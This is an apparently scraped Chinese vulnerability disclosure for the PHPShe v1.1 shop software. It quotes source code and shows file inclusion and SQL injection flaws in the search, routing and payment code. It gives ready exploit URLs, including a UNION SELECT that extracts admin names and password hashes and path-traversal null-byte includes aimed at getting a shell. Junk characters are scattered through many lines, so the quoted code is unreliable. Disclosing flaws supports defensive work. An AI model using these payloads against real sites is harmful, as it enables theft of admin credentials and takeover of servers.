phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
: _' S2 S/ A# O$ F9 h& C! t/ `/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
& `7 j3 k; L' U8 I5 u9 \: X  r9 A/*******************************************************/
) t: ^0 G* M+ M0 K7 X* K! e0×00 整体大概参数传输

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. @$ s! o/ ]$ S//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 \6 Y, U* j- k4 b; a  h; m$ ~4 m!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
& B* P' H6 t. T2 S' `}
else {
( ?  q5 Y8 [: h8 d, o9 g/ o!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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( I/ \" u3 g2 I' }' K0×01 包含漏洞
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//首页文件
( `" ]! X) K( x# H) D/ W+ W9 \<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 Z9 l- D7 w/ ?; z9 Winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
* l6 f7 V) a/ L  O& X//common 文件 第15行开始
9 W9 j# t" D6 t' D- Burl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 b) c' T' d* W' t2 i1 h- c$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

6 J' `' U9 F+ D7 B8 y<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
& w; A( C1 r$ P, y$info = $db->pe_select('category', array('category_id'=>$category_id));
0 x# Q+ v; j; w; w//搜索
7 S' W3 P1 M0 k0 r3 L3 m$sqlwhere = " and `product_state` = 1";
( C: U1 I2 z0 Y: u2 xpe_lead('hook/category.hook.php');
if ($category_id) {
9 T3 ?' M* m! q+ y+ jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
, |/ e  w+ e* e: t: S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
9 @% w$ u) ^( I- J$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* j! ?, z  p' D  d# d, [//热卖排行
( [% B" L7 B6 ~2 w8 m4 G6 ]+ o$product_hotlist = product_hotlist();
//当前路径
& @8 `( S4 |. K8 h. Z. u+ y0 l" C( _$nowpath = category_path($category_id);
- G1 z) P! p6 i$ w$seo = pe_seo($info['category_name']);
+ L9 s0 g1 q2 F3 X* tinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
  K" K8 L1 c2 }+ @. V: D$sqlwhere = $this->_dowhere($where);
& d- b8 S* p3 V* wreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
3 g  c1 ]) S: x" L+ G( q$ \//exp
- f* k5 ?; Q$ Wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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4 K4 b( d, }; i# U, R9 d0×03 包含漏洞2
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: K% A4 v% a" |# N& {<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

# c9 q0 p. q  B5 w/ e$ ]$cache_payway = cache::get('payway');

; q. |: m. u6 L% kforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: E1 c0 G7 G% C, e. M# T1 {" [& pif ($k == 'bank') {

1 e" W' V, M* H. A: {) N$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ N$ R: b% z9 a3 H. D6 K) I}

}

5 u; X$ w$ n2 t1 f  V+ D. I$ J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. m; H3 y2 t/ r5 N: G!$order['order_id'] && pe_error('订单号错误...');

! f) C2 v3 l  y% ~if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

: ]+ z; U+ h  K8 I8 iecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

8 n% F' G! \  U. E4 o9 helse {

3 o# l1 A$ x; ~* H: Cpe_error('支付错误...');

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$seo = pe_seo('选择支付方式');

9 m/ W' |: ?0 W; k4 @4 Finclude(pe_tpl('order_pay.html'));

+ A8 }7 y* e; P! ?0 Ibreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>